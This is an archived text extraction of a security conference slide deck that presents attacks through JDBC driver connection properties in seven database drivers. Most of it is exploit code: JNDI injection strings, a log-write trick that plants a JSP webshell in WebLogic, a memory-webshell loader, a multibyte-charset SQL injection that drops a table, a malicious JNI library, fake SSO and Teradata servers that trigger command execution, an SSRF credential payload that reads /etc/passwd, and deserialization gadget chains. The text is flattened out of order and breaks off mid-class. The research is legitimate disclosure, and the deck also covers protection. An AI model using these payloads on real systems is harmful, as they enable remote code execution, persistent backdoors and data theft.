--- type: Whitepaper title: A New Attack Interface In Java Application description: "Treats attacker-controlled JDBC connection properties as an attack surface: across seven database drivers they yield JNDI injection, log-file writes that plant a webshell, multibyte-charset SQL injection, arbitrary class instantiation, full-read SSRF and command execution from a malicious server." resource: "https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf" tags: [whitepaper, webseclist-reference, rce, ssrf, sqli, command-injection, deserialization, gadget-chain, path-traversal, java, database, owasp-a01-2021, owasp-a03-2021, owasp-a08-2021, owasp-a10-2021] generated: by: webseclist-refs/1 at: "2026-08-11T17:41:17+00:00" status: stable stale_after: 2027-08-11 sources: - id: original resource: "https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf" title: A New Attack Interface In Java Application author: Xu Yuanzhen, Peter Mularien also_at: [] authors: - Xu Yuanzhen - Peter Mularien canonical_url: "" cited_by: - "2024.md:128" commit: "" content_sha256: 9637251f2f51bfe2ff1078047f0b297c2a837ab984e5f1402c1a9f6dccd30dae depth: full depth_reason: default kind: whitepaper language: "" licence: unknown original_url: "https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf" published: "" publisher: "" publisher_english: "" raw_sha256: 4cbb0bebf843064957ce16424a747987e6aabb899ef99eb6dd9239ca5cfc0e2f retrieved_from: "https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf" retrieved_kind: stored retrieved_utc: "2026-08-11T17:41:17+00:00" slug: new-attack-interface-java-application snapshot: "" title_english: "" translation_file: "" translation_of: "" --- # A New Attack Interface In Java Application **A New Attack Interface In Java Application** - Xu Yuanzhen, Peter Mularien, Publisher not stated. - Published: date not stated - Original: - Preserved from: https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf (stored) on 2026-08-11 - Licence: unknown Rights remain with the original author and publisher. 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A New Attack Interface In Java Applications Xu Yuanzhen Peter Mularien #BHASIA @BlackHatEvents Abused Connection Resource Arbitrary Log File Writing Lexical Syntax Compatibility Unchecked Initialization Class Incorrect Response Disposal JDBC Attack Protection Abused Connection Resource Arbitrary Log File Writing Lexical Syntax Compatibility Unchecked Initialization Class Incorrect Response Disposal JDBC Attack Protection Leverage JNDI to Connect JDBC Data Source JNDI Tree Connection Pool Data Source Connection JDBC Driver Client Data Source Connection Database Data Source Connection IBM Informix JDBC Driver Remote Code Execution via JNDI Injection SQLH_TYPE=LDAP LDAP_URL=ldap://host-name:port-number JNDI Injection LDAP_IFXBASE=Informix-base-DN LDAP_USER=user LDAP_PASSWD=password IBM Informix JDBC Driver Remote Code Execution via JNDI Injection // Register Driver DriverManager.registerDriver(new com.informix.jdbc.IfxDriver()); // Get Connection DriverManager.getConnection("jdbc:informix- sqli:informixserver=ser;user=user;password=password;SQLH_TYPE=LDAP;LDAP_URL=ldap://remote.ip:389/;LDAP_IFXBAS E=EvilObject"); JNDI Injection Remote Code Execution Is NOT Trigged IBM Informix JDBC Driver Remote Code Execution via JNDI Injection 1 try { 2 SearchControls constraints = new SearchControls(); 3 constraints.setSearchScope(LDAP_SCOPE0); 4 String lbase = "cn=" + sname + "," + this.ldap_sqhDn; 5 NamingEnumeration results = this.sqhctx.search(lbase, 6 LDAP_FILTER, constraints); 7 if (results != null && results.hasMore()) { 8 SearchResult si = (SearchResult)results.next(); 9 Attributes attrs = si.getAttributes(); 10 NamingEnumeration ae = attrs.getAll(); IBM Informix JDBC Driver Remote Code Execution via JNDI Injection 1 public NamingEnumeration search(Name var1, String var2, SearchControls var3) throws 2 NamingException { 3 PartialCompositeDirContext var4 = this; 4 Hashtable var5 = this.p_getEnvironment(); 5 Continuation var6 = new Continuation(var1, var5); 6 Name var8 = var1; 7 8 NamingEnumeration var7; 9 try { 10 for(var7 = var4.p_search(var8, var2, var3, var6); var6.isContinue(); var7 = 11 var4.p_search(var8, var2, var3, var6)) { 12 var8 = var6.getRemainingName(); 13 var4 = getPCDirContext(var6); 14 } 15 } IBM Informix JDBC Driver Remote Code Execution via JNDI Injection 1 protected NamingEnumeration p_search(Name var1, String var2, 2 SearchControls var3, Continuation var4) throws NamingException { 3 HeadTail var5 = this.p_resolveIntermediate(var1, var4); 4 NamingEnumeration var6 = null; 5 switch (var5.getStatus()) { 6 case 2: 7 var6 = this.c_search(var5.getHead(), var2, var3, var4); 8 break; 9 case 3: 10 var6 = this.c_search_nns(var5.getHead(), var2, var3, var4); 11 } IBM Informix JDBC Driver Remote Code Execution via JNDI Injection 1 protected HeadTail p_resolveIntermediate(Name var1, Continuation var2) throws NamingException { 2 byte var3 = 1; 3 var2.setSuccess(); 4 HeadTail var4 = this.p_parseComponent(var1, var2); 5 Name var5 = var4.getTail(); 6 Name var6 = var4.getHead(); 7 if (var5 != null && !var5.isEmpty()) { 8 Object var7; 9 if (!var5.get(0).equals("")) { 10 try { 11 var7 = this.c_resolveIntermediate_nns(var6, var2); 12 if (var7 != null) { 13 var2.setContinue(var7, var6, this, var5); 14 } else if (var2.isContinue()) { 15 this.checkAndAdjustRemainingName(var2.getRemainingName()); 16 var2.appendRemainingName(var5); 17 } 18 } IBM Informix JDBC Driver Remote Code Execution via JNDI Injection 1 protected Object c_resolveIntermediate_nns(Name var1, Continuation var2) throws NamingException { 2 try { 3 final Object var3 = this.c_lookup(var1, var2); 4 if (var3 != null && this.getClass().isInstance(var3)) { 5 var2.setContinueNNS(var3, var1, this); 6 return null; 7 } else if (var3 != null && !(var3 instanceof Context)) { 8 RefAddr var4 = new RefAddr("nns") { 9 private static final long serialVersionUID = -8831204798861786362L; 10 11 public Object getContent() { 12 return var3; 13 } 14 }; 15 Reference var5 = new Reference("java.lang.Object", var4); 16 CompositeName var6 = (CompositeName)var1.clone(); 17 var6.add(""); 18 var2.setContinue(var5, var6, this); 19 return null; IBM Informix JDBC Driver Remote Code Execution via JNDI Injection • Trigger a JNDI lookup search p_search p_resolveIntermediate c_lookup javax.naming.InitialContext#lookup(java.lang.String) Stack Trace com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String) com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String) com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name) com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup com.sun.jndi.ldap.LdapCtx#c_lookup Abused Connection Resource Arbitrary Log File Writing Lexical Syntax Compatibility Unchecked Initialization Class Incorrect Response Disposal JDBC Attack Protection IBM DB2 JCC Driver Remote Code Execution via Logger Injection • traceFile - With the property, the user can specify the name of a file into which the IBM Data Server Driver for JDBC and SQLJ write trace information. • traceLevel • traceFileAppend // Register Driver DriverManager.registerDriver(new com.ibm.db2.jcc.DB2Driver()); // Get Connection DriverManager.getConnection("jdbc:db2://127.0.0.1:5001/test:password=${Runtime.getRuntime().exec("open -a calculator")};traceLevel=-1;traceFileAppend=false;traceFile=shell.jsp;"); IBM DB2 JCC Driver Remote Code Execution via Logger Injection • Backdoor Webshell in Weblogic Server JSP Tag jdbc:db2://127.0.0.1:5001/test:password=<%Runtime.getRuntime().exec("open -a calculator")};%>;traceLevel=- 1;traceFileAppend=false;traceFile= =../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/shell.jsp; IBM DB2 JCC Driver Remote Code Execution via Logger Injection • Backdoor Webshell in Weblogic Server - Servlet version 2.3 or earlier than 2.3 then EL expression are disabled by default - Weblogic Server 14c supports the Servlet 4.0 • Use EL expression to evade the URL decoder exception <%.getRuntime().exec("open -a calculator")}; %>Runtime ${Runtime.getRuntime().exec("open -a calculator")} IBM DB2 JCC Driver Remote Code Execution via Logger Injection • Backdoor Webshell in Weblogic Server // Register Driver DriverManager.registerDriver(new com.ibm.db2.jcc.DB2Driver()); // Get Connection DriverManager.getConnection("jdbc:db2://127.0.0.1:5001/test:password=${pageContext.setAttribute("classLoa der",Thread.currentThread().getContextClassLoader());pageContext.setAttribute("httpDataTransferHandler",pageC ontext.getAttribute("classLoader").loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHa ndler"));pageContext.setAttribute("managementService", pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.ManagementService"));pageCont ext.setAttribute("authenticatedSubject",pageContext.getAttribute("classLoader").loadClass("weblogic.security. acl.internal.AuthenticatedSubject"));pageContext.setAttribute("propertyService",pageContext.getAttribute("cla ssLoader").loadClass("weblogic.management.provider.PropertyService"));pageContext.setAttribute("KERNE_ID",pag eContext.getAttribute("httpDataTransferHandler").getDeclaredField("KERNE_ID"));pageContext.getAttribute("KERN E_ID").setAccessible(true);pageContext.setAttribute("getPropertyService",managementService.getMethod("getProp ertyService",pageContext.getAttribute("authenticatedSubject")));pageContext.getAttribute("getPropertyService" ).setAccessible(true);pageContext.setAttribute("prop",pageContext.getAttribute("getPropertyService").invoke(n ull,pageContext.getAttribute("KERNE_ID").get((null))));pageContext.setAttribute("getTimestamp1",propertyServi ce.getMethod("getTimestamp1"));pageContext.getAttribute("getTimestamp1").setAccessible(true);pageContext.setA ttribute("getTimestamp2",propertyService.getMethod("getTimestamp2"));pageContext.getAttribute("getTimestamp2" ).setAccessible(true);pageContext.setAttribute("username", pageContext.getAttribute("getTimestamp1").invoke(pageContext.getAttribute("prop")));pageContext.setAttribute( "password",pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop")));pageContext.ge tAttribute("username").concat("/").concat(pageContext.getAttribute("password"))};traceFileAppend=false;traceL evel=-1;traceFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/shell.jsp; "); IBM DB2 JCC Driver Remote Code Execution via Logger Injection • Backdoor Webshell in Weblogic Server IBM DB2 JCC Driver Remote Code Execution via Logger Injection How to Inject an Indiscoverable Memory Webshell into Weblogic Server? IBM DB2 JCC Driver Remote Code Execution via Logger Injection Acquire Weblogic Server request object with current thread Utilize malicious class to implement new filter register inject bytecode of malicious class with BCEL public class BCELTransfer { public static void main(String[] args) throws Exception{ JavaClass cls = Repository.lookupClass(WeblogicMemFilter.class); String code = Utility.encode(cls.getBytes(),true); BCEL Code Transformer Class aClass = new ClassLoader().loadClass("$$BCEL$$"+code); System.out.println("$$BCEL$$"+code); aClass.newInstance(); } } public class WeblogicMemFilter { static { String filterName = "dynamicFilter1"; String urlPattern = "/*"; String FILTER_CLASS_STRING = ; try { Thread thread = Thread.currentThread(); Field workEntry = thread.getContextClassLoader().loadClass("weblogic.work.ExecuteThread").getDeclaredField("workEntry"); workEntry.setAccessible(true); Object workentry = workEntry.get(thread); WeblogicMemFilter Field connectionHandler = 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throws SQLException { 3 synchronized (checkClosed().getConnectionMutex()) { 4 ((PreparedQuery) 5 this.query).getQueryBindings().setBlob(getCoreParameterIndex(parameterIndex), inputStream); 6 } 7 } 8 9 @Override 10 public void setBlob(int parameterIndex, InputStream inputStream, long length) throws SQLException { 11 synchronized (checkClosed().getConnectionMutex()) { 12 ((PreparedQuery) 13 this.query).getQueryBindings().setBlob(getCoreParameterIndex(parameterIndex), inputStream, length); 14 } 15 } MySQL JDBC Driver SQL Injection via setBlob Method • characterEncoding = gbk ASCII Oct Hex ' 39 0x27 \ 92 0x5c MySQL JDBC Driver SQL Injection via setBlob Method • PreparedStatement.setBlob() o append a couple of single quotes(') surrounding blob data o escape the single quotes in blob data with backslash (\) ASCII 轡' ) ; d r o p t a b l e t1 ; # ' HEX de 27 29 3b 64 72 6f 70 20 74 61 62 6c 65 20 74 31 3b 23 27 ASCII ' 轡 ' ) ; d r o p t a b l e t 1 ; # \ '' HEX 27 de 5c 27 29 3b 64 72 6f 70 20 74 61 62 6c 65 20 74 31 3b 23 5c 27 27 ＂ INSERT INTO t1 ( size,data ) VALUES (20,_ binary 轡 \ ); drop table t1;#\ ＂ ' ' '' MySQL JDBC Driver SQL Injection via setBlob Method Dabase Server Payload Master MySQL Slave MySQL DriverManager.registerDriver(new com.mysql.cj.jdbc.Driver()); Connection conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test?user=root&password=pynerd123&useUnicode=true&ch aracterEncoding=gbk&allowMultiQueries=true"); PreparedStatement ps = conn.prepareStatement("INSERT INTO t1 (size, data) VALUES(?,?)"); File file = new File("/Users/pyn3rd/exp.jpg"); FileInputStream fis = new FileInputStream(file); ps.setInt(1, (int) file.length()); ps.setBlob(2, fis); ps.execute(); fis.close(); MySQL JDBC Driver SQL Injection via setBlob Method Abused Connection Resource Arbitrary Log File Writing Lexical Syntax Compatibility Unchecked Initialization Class Incorrect Response Disposal JDBC Attack Protection IBM DB2 JCC Driver Remote Code Execution via Unchecked Class • pluginClassName 1 public synchronized void setPluginClassName(String paramString) { 2 this.pluginClassName = paramString; 3 } 4 5 public String getPluginClassName() { 6 return this.pluginClassName; Getter and Setter 7 } 8 9 public static String getPluginClassName(Properties paramProperties) { 10 return paramProperties.getProperty("pluginClassName"); 12 } IBM DB2 JCC Driver Remote Code Execution via Unchecked Class • No Argument Constructor import javax.naming.NamingException; import java.io.IOException; public class EvilObject { public EvilObject () throws NamingException, IOException { javax.naming.InitialContext.doLookup("ldap://127.0.0.1:389/EvilObject"); } } IBM DB2 JCC Driver Remote Code Execution via Unchecked Class • No Argument Constructor // Register Driver Thoughts Class DriverManager.registerDriver(new com.ibm.db2.jcc.DB2Driver()); // Get Connection DriverManager.getConnection("jdbc:db2://127.0.0.1:5001/testdb:pluginClassName=com.example.demo.EvilObject;"); IBM DB2 JCC Driver Remote Code Execution via Unchecked Class IBM DB2 JCC Driver Remote Code Execution via Unchecked Class Try to find a No Argument Constructor in the real-world scenario JNI (Java Native Interface) • System.loadLibrary method to revoke the libraries from various platforms JVM JNI File Windows JVM .dll Source Code Byte Code Linux JVM .so MacOS JVM .dylib com.sun.security.auth.module.UnixSystem 1 @jdk.Exported 2 public class UnixSystem { 3 4 private native void getUnixInfo(); 5 6 protected String username; 7 protected long uid; 8 protected long gid; 9 protected long[] groups; 10 11 /** 12 * Instantiate a UnixSystem and load 13 * the native library to access the underlying system information. 14 */ 15 public UnixSystem() { 16 System.loadLibrary("jaas_unix"); 17 getUnixInfo(); 18 } IBM DB2 JCC Driver Remote Code Execution via Unchecked Class • Hijack the Java library jaas_unix (Java Authentication and Authorization Service) • com.sun.security.auth.module.UnixSystem (Linux ) - Public Constructor • com.sun.security.auth.module.NTSystem (Windows) java.library.path /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/Contents/Home/jre/lib libjaas_unix.dylib JNI Backdoor for Command Execution #include #include #include "jni.h" using namespace std; libjaas_unix.dylib jint JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env; vm->AttachCurrentThread((void**)&env, NULL); jclass system_clazz = env->FindClass("java/lang/System"); jmethodID get_property_method = env->GetStaticMethodID(system_clazz, "getProperty", "(Ljava/lang/String;)Ljava/lang/String;"); if (get_property_method == NULL) { return JNI_VERSION_1_2; } jboolean jsCopy; const char* cmd = env->GetStringUTFChars(env->NewStringUTF("open -a calculator"), &jsCopy); std::string ee; ee += cmd; system(ee.c_str()); return JNI_VERSION_1_2; } IBM DB2 JCC Driver Remote Code Execution via Unchecked Class • Remote Code Execution with JNI // Register Driver DriverManager.registerDriver(new com.ibm.db2.jcc.DB2Driver()); // Get Connection DriverManager.getConnection("jdbc:db2://127.0.0.1:5001/test:pluginClassName=com.sun.security.auth.module. UnixSystem;"); IBM DB2 JCC Driver Remote Code Execution via Unchecked Class Google Cloud Spanner Remote Code Execution via Unchecked Class • CredentialsProvider 1 static @Nullable CredentialsProvider parseCredentialsProvider(String uri) { 2 String name = parseUriProperty(uri, CREDENTIALS_PROVIDER_PROPERTY_NAME); 3 if (name != null) { 4 try { 5 Class clazz = 6 (Class) Class.forName(name); 7 Constructor constructor = clazz.getDeclaredConstructor(); 8 return constructor.newInstance(); 9 } catch (ClassNotFoundException classNotFoundException) { 10 throw SpannerExceptionFactory.newSpannerException( 11 ErrorCode.INVALID_ARGUMENT, 12 "Unknown or invalid CredentialsProvider class name: " + name, 13 classNotFoundException); Google Cloud Spanner Remote Code Execution via Unchecked Class Apache Calcite Avatica Remote Code Execution via Unchecked Class • httpclient_impl - The class which implements HTTPClient class used to send HTTP requests from client to server • Invocation of arbitrary constructor with URL argument due to unchecked superclass • We reported and it was assigned CVE-2022-36364 // Register Driver DriverManager.registerDriver(new org.apache.calcite.avatica.remote.Driver()); // Get Connection Thoughts Class DriverManager.getConnection("jdbc:avatica:remote:url=https://sso.jdbc- attack.com:443/api;httpclient_impl=com.example.avaticademo.CustomHttpClient"); Apache Calcite Avatica Remote Code Execution via Unchecked Class 1 private AvaticaHttpClient instantiateClient(String className, URL url) { 2 try { 3 Class clz = Class.forName(className); 4 Constructor constructor = clz.getConstructor(URL.class); 5 Object instance = constructor.newInstance(Objects.requireNonNull(url)); 6 return AvaticaHttpClient.class.cast(instance); 7 } catch (Exception e) { 8 throw new RuntimeException("Failed to construct AvaticaHttpClient implementation " 9 + className, e); 10 } 11 } Apache Calcite Avatica Remote Code Execution via Unchecked Class import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.*; import java.net.URL; Thoughts Class public class CustomHttpClient { public CustomHttpClient(URL url) throws IOException { Object content = url.getContent( ); if (content instanceof InputStream) { BufferedReader reader = new BufferedReader(new InputStreamReader((InputStream) content)); ObjectMapper mapper = new ObjectMapper(); JsonNode jnode = mapper.readTree(reader); String result = jnode.path("result").asText(); Runtime.getRuntime().exec(result); } } } Apache Calcite Avatica Remote Code Execution via Unchecked Class Apache Calcite Avatica SSRF via Unchecked Class Try to find a gadget in the real-world scenario Apache Calcite Avatica SSRF via Unchecked Class • Leverage dynamic analysis tools to look up the particular gadgets • Verify the gadgets we find • com.sun.media.sound.SF2Soundbank • javax.swing.JEditorPane • jdk.internal.loader.FileURLMapper • sun.security.provider.PolicyFile Apache Calcite Avatica SSRF via Unchecked Class • sun.security.provider.PolicyFile public class PolicyFile extends java.security.Policy { /** * Initializes the Policy object and reads the default policy * from the specified URL only. */ public PolicyFile(URL url) { this.url = url; init(url); } } Apache Calcite Avatica SSRF via Arbitrary Class • Sensitive Information Leakage in JDBC Connecting Exception Abused Connection Resource Arbitrary Log File Writing Lexical Syntax Compatibility Unchecked Initialization Class Incorrect Response Disposal JDBC Attack Protection Snowflake Remote Code Execution via SSO Flow Response • Browser-based SSO • Relying on open (Mac), xdg-open (Linux), cmd (!) (Windows) – platform- and driver-specific RCE • Malicious SSO server can inject command via ssoUrl attribute in returned SSO response • RCE on MacOS (JDBC, NodeJS) and Windows (NodeJS) Snowflake Remote Code Execution via SSO Flow Response 1 @Override 2 public void openBrowser(String ssoUrl) throws SFException { 3 try { 4 // start web browser 5 if (java.awt.Desktop.isDesktopSupported()) { 6 URI uri = new URI(ssoUrl); 7 java.awt.Desktop.getDesktop().browse(uri); 8 } else { 9 Runtime runtime = Runtime.getRuntime(); 10 Constants.OS os = Constants.getOS(); 11 if (os == Constants.OS.MAC) { 12 runtime.exec("open " + ssoUrl); 13 } else { 14 // linux? 15 runtime.exec("xdg-open " + ssoUrl); 16 } 17 } 18 } catch (URISyntaxException | IOException ex) { 19 throw new SFException(ex, ErrorCode.NETWORK_ERROR, ex.getMessage()); 20 } 21 } from flask import Flask,jsonify,request app = Flask(__name__) Fake Server @app.route('/session/authenticator-request', methods = ['POST']) def SSOJSON(): if(request.method == 'POST'): jsonData = {"success": "true", "data": {"proofKey": "foo", "ssoUrl": "calc"}} return jsonify(data) if __name__ == '__main__': app.run('0.0.0.0', debug=True, port=443, ssl_context=('/root/ssl/jdbc-attack.com_bundle.pem', '/root/ssl/jdbc- attack.com.key')) Snowflake Remote Code Execution via SSO Flow Response • authenticator=external - To set up browser-based SSO from external for authentication • JDBC driver requests https:///session/authenticator-request and parses JSON response • Passes the value of the data.ssoURL() JSON format property to Runtime.exec() as second parameter - First parameter is open on MacOS - Remote Code Execution on MacOS // Register Driver DriverManager.registerDriver(new com.snowflake.client.jdbc.SnowflakeDriver()); // Connect Driver DriverManager.getConnection("jdbc:snowflake://jdbc-attack.com/?user=test&password=test&db=sdb&authenticator=externalbrowser"); Snowflake Remote Code Execution via SSO Flow Response Google Cloud Spanner JDBC Driver Full Read SSRF • GCP authentication allows delegated credentials to AWS - Exposed a design flaw in GCP authentication library (in all languages that we looked at) - Design flaw can lead to full read SSRF by supplying a crafted set of credentials • encodedCredentials - Allow users to set their own Google Cloud Platform credentials in Base64-encoded JSON through this undocumented property public static final String ENCODED_CREDENTIALS_PROPERTY_NAME = "encodedCredentials"; Google Cloud Spanner JDBC Driver Full Read SSRF • GCP credential JSON is used for all auth to GCP • JSON is deserialized by different implementations • We are targeting the ExternalAccountCredentials.fromJson method • Supports many external credentials including AWS • AWS implementation makes several HTTP requests based on the provided config Google Cloud Spanner JDBC Driver Full Read SSRF • Crafted Credentials { "type": "external_account", "audience": "test", "subject_token_type": "test", "token_url": "https://sts.google.apis.com/token", "credential_source": { "environment_id": "aws1", "regional_cred_verification_url": "https://accounts.google.com/o/oauth2/auth", "region_url": "https://accounts.google.com/o/oauth2/token", "url": "https://www.googleapis.com/oauth2/v1/certs" }, "xservice_account_impersonation_url":"", "token_info_url":"", Response JSON Format "client_id":"client_id", "client_secret":"client_secret", "quota_project_id":"test", "workforce_pool_user_project":"test" } } Google Cloud Spanner JDBC Driver Full Read SSRF 1 if (awsCredentialSource.url == null || awsCredentialSource.url.isEmpty()) { 2 throw new IOException( 3 "Unable to determine the AWS IAM role name. The credential source does not contain the" 4 + " url field."); 5 } 6 String roleName = retrieveResource(awsCredentialSource.url, "IAM role", metadataRequestHeaders); 7 8 // Retrieve the AWS security credentials by calling the endpoint specified by the credential 9 // source. 10 String awsCredentials = 11 retrieveResource( 12 awsCredentialSource.url + "/" + roleName, "credentials", metadataRequestHeaders); 13 14 JsonParser parser = OAuth2Utils.JSON_FACTORY.createJsonParser(awsCredentials); 15 GenericJson genericJson = parser.parseAndClose(GenericJson.class); Google Cloud Spanner JDBC Driver Full Read SSRF // Register Driver DriverManager.registerDriver(new com.google.cloud.spanner.jdbc.JdbcDriver()); // Get Connection Connection conn = DriverManager.getConnection("jdbc:cloudspanner:/projects/pjm/instances/test/databases/test;encodedCredentials=ewogICJ0eXBlIjogI mV4dGVybmFsX2FjY291bnQiLAogICJhdWRpZW5jZSI6ICJ0ZXN0IiwKICAic3ViamVjdF90b2tlbl90eXBlIjogInRlc3QiLAogICJ0b2tlbl91cmwiOiAiaHR0cHM6 Ly9zdHMuZ29vZ2xlYXBpcy5jb20vdG9rZW4iLAogICJjcmVkZW50aWFsX3NvdXJjZSI6IHsKICAgICJlbnZpcm9ubWVudF9pZCI6ICJhd3MxIiwKICAgICJyZWdpb25 hbF9jcmVkX3ZlcmlmaWNhdGlvbl91cmwiOiAiYW55dGhpbmciLAogICAgInJlZ2lvbl91cmwiOiAiaHR0cHM6Ly9qZGJjLWF0dGFjay5jb20vP2ZpbGU9L2V0Yy9wYX Nzd2QiLAogICAgInVybCI6ICJodHRwczovL2pkYmMtYXR0YWNrLmNvbS8_ZmlsZT0vZXRjL3Bhc3N3ZCIKICB9LAogICJ0b2tlbl9pbmZvX3VybCI6ICJhbnl0aGluZ yIsCiAgImNsaWVudF9pZCI6ICJjbGllbnRfaWQiLAogICJjbGllbnRfc2VjcmV0IjogImNsaWVudF9zZWNyZXQiLAogICJxdW90YV9wcm9qZWN0X2lkIjogInRlc3Qi LAogICJ3b3JrZm9yY2VfcG9vbF91c2VyX3Byb2plY3QiOiAidGVzdCIKfQ=="); // Establish The JDBC Connection conn.createStatement(); Google Cloud Spanner JDBC Driver Full Read SSRF Teradata JDBC Driver Remote Code Execution via SSO Command Injection • BROWSER - Leverages browser-based SSO via Teradata Server configuration enabling OpenID Connect (OIDC) and JDBC URL parameter • Client OIDC handling requires the server to confirm that OIDC is configured and this allows the JDBC driver to use the browser-based SSO code path • On any Teradata server where OIDC is enabled 1 var6 = var6.replaceAll("PLACEHOLDER", var12 + "?response_type=code" + "&client_id=" + 2 Utility.safeForURL(var9) + "&redirect_uri=" + Utility.safeForURL(var20) + "&code_challenge=" + 3 Utility.safeForURL(var15) + "&code_challenge_method=S256" + "&scope=" + Utility.safeForURL(var21)); 4 if (this.log.isTimingEnabled()) { 5 this.log.timing("Launching browser " + var6); 6 } 7 8 Process var22; 9 try { 10 var22 = Runtime.getRuntime().exec(var6); 11 } catch (IOException var30) { 12 throw Utility.logEx(this.log, "Runtime exec", Utility.wrapEx(var30, 13 ErrorFactory.makeDriverJDBCException("TJ1551", var6))); 14 } Teradata JDBC Driver Remote Code Execution via SSO Command Injection • Create a "fake" Teradata server in Python which tells the client OIDC has been configured on the server • This tricks the client into allowing the BROWSER JDBC property • Does not even require a working Teradata server to achieve RCE on the machine running the JDBC client • Similar to the "Rogue MySQL Server" LOCAL INFILE exploit from many years ago Teradata JDBC Driver Remote Code Execution via SSO Command Injection • Python program that fakes the Teradata server handshake protocol class teradata_request_handler(asyncore.dispatcher_with_send): Fake Server Code Fragment def __init__(self, addr, url): asyncore.dispatcher_with_send.__init__(self, sock=addr[0]) self.addr = addr[1] self.packet_to_send = bytes.fromhex('03020a0000070000')+struct.pack(">H",len(url)+899)+bytes.fromhex('000000000000000000000000000000000000000000010000000005ff0000000000000000000000 000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020 202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c000454243444943202020202020202020202020202020202020202020 2020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa00000 00f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa0000090001 01000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c000601000102 0101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00 28010000010001010000010100000100010001000100000000000000000000000101000100010000010010001400000000000000000000800200000000000000000012002001010101010101010000 0000000000000000000000000000000000000000000000130008010101000000000000060002014900a5')+struct.pack(">H",len(url)+87)+bytes.fromhex('00000001000100050100020008 11140309000300040004000600210006000400050004000700040008000400090004000a000501000b000501000c000501000e0004001000060100000f')+struct.pack(">H",len(url)+11)+byt es.fromhex('000372636500')+struct.pack("B",len(url))+url.encode("ascii")+bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000c000000030000 00010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c00000001 0000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e01040011000c000000010000001e00a7002500000001 0000000d2b0601040181e01a04822e01030011000c000000010000000a') self.ibuffer = [] def handle_read(self): data = self.recv(8192) if data: log.info('[+]Data received: {}{}'.format(data,"\r\n")) log.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n")) self.send(self.packet_to_send) Teradata JDBC Driver Remote Code Execution via SSO Command Injection • JDBC client connects to fake Teradata server (in Python) • Fake server tells client OIDC is enabled • JDBC client makes URL request to OIDC server, expecting JSON document with openid-configuration format - Bonus! Blind GET-based SSRF here • JDBC client executes the command in the BROWSER property // Register Connection DriverManager.registerDriver(new com.teradata.jdbc.TeraDriver()); // Get Connection DriverManager.getConnection("jdbc:teradata://127.0.0.1/DBS_PORT=10250,LOGMECH=BROWSER,BROWSER='open -a calculator',TYPE=DEFAULT,COP=OFF,TMODE=TERA,LOG=DEBUG"); Teradata JDBC Driver Remote Code Execution via SSO Command Injection Bypass high version Java reflection restriction via Teradata JDBC Driver • Attack interfaces can be combined • JDBC connection can be leveraged to evade Java deserialization with reflection in JDK JDBC JNDI Deserialization public class CommonsBeanutils1 implements ObjectPayload { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2, comparator); CommonsBeantils Gadget // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; return queue; } Bypass high version Java reflection restriction via Teradata JDBC Driver • Use ysoserial tool to generate CommonsBeanutils1 payload - java -jar ysoserial.jar CommonsBeanutils1 "open -a calculator" > /tmp/calc.ser • Java reflection has been restricted in Java 17 Bypass high version Java reflection restriction via Teradata JDBC Driver public class TeraDataSource extends TeraDataSourceBase implements DataSource { public TeraDataSource() { } public Connection getConnection() throws SQLException { return this.createNewConnection(this.user, this.password); } public Connection getConnection(String var1, String var2) throws SQLException { return this.createNewConnection(var1, var2); } } public class TeraDataSourceBase implements Referenceable, Serializable { public String getDSName() { return this.DSName; } public void setDSName(String var1) { this.DSName = var1; } public String getBROWSER() { Getter and Setter return this.m_sBrowser; } public void setBROWSER(String var1) { this.m_sBrowser = var1; } public void setLOGMECH(String var1) { this.LogMech = var1; } public String getLOGMECH() { return this.LogMech; } } public class TeraDataSource1 implements ObjectPayload { public Object getObject(final String command) throws Exception { // create a TeraDataSource object, holding our JDBC string TeraDataSource dataSource = new TeraDataSource(); dataSource.setBROWSER(command); dataSource.setLOGMECH("BROWSER"); dataSource.setDSName("127.0.0.1"); dataSource.setDbsPort("10250"); TeraDataSource Gadget // mock method name until armed final BeanComparator comparator = new 